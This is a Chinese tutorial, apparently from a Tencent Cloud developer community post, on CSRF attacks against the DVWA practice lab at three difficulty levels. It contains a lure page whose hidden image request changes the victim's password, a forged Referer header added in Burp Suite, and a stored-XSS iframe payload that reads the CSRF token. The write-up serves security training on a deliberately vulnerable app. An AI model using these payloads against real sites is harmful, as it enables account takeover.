其中1网页作为核心攻击,是诱惑用户点击的,当用户点击它后,2作为点击跳转后的网页,可以伪造成各种网页,迷惑用户。
只是为了给观众老爷讲解,故简单写了一下,当用户进入这个页面,被其内容所迷惑(点击重试)
<a href="2.html"><img src="链接">点击重试</a>
用户点击后会进入2页面,作为跳转网页,迷惑用户,旨在不被暴露。如果不怕暴露,可以做个404。
<h1>welcome to my world!</h1>
链接上很明显的显示了本次操作:修改密码为123。
把这个链接复制下来,放入之前就准备好的1.html的代码里👇
把你希望的密码代替掉里面的“123”,例如我想要密码是“ZRL”,那么我就把“123”换成“ZRL”。
<a href="2.html"><img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=ZRL&password_conf=ZRL&Change=Change#">点击重试</a>
修改后保存
这时候用户点击1.html跳转2.html,好像就是一个很简单的页面跳转,但是其实密码已经被修改了。
和低级别的流程一样,也是利用页面跳转修改密码,但是不同的是在页面跳转后密码无法修改,这是为啥呢?
是因为多了一项Rferer验证,由于是第三方跳转,所以缺少Referer验证。
不过少了咱给它补上。
这时候需要用到抓包工具Burpsuite,抓包后发现这里少了Referer,不怕,补上去。
Referer: http://dvwa.com/vulnerabilities/csrf/
高级的比较复杂,它需要存储型XSS漏洞联合使用
我们先正常修改它的密码,可以看到链接上多了一串user_token的值
http://dvwa.com/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=72c7b26fe3c0201d6bf72808a5b77631#
意思是我们每次修改密码需要先验证其token值。
我们怎样去获得这个token的值呢?此时存储型XSS闪亮登场!
我们在存储型XSS上传一个脚本,旨在获取并且弹出它的token值,存储型XSS的功能大家都清楚,我不再赘述。每次点击到XSS,所上传的脚本都会被执行一次。
<iframe src="../csrf/"onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>
获取到token值后将它加入到之前的链接后面
<a href="2.html"><img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=ZRL&password_conf=ZRL&Change=Change&user_token=a1c1d38188c0ff0ce8b195af85ec7da5">点击重试</a>
总结下来其实很简单,要充分了解伪站点的特性,利用抓包工具、代码验证漏洞、payload合理构造以及多漏洞联合利用进行攻击,多管齐下才能保证攻击的顺利进行。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。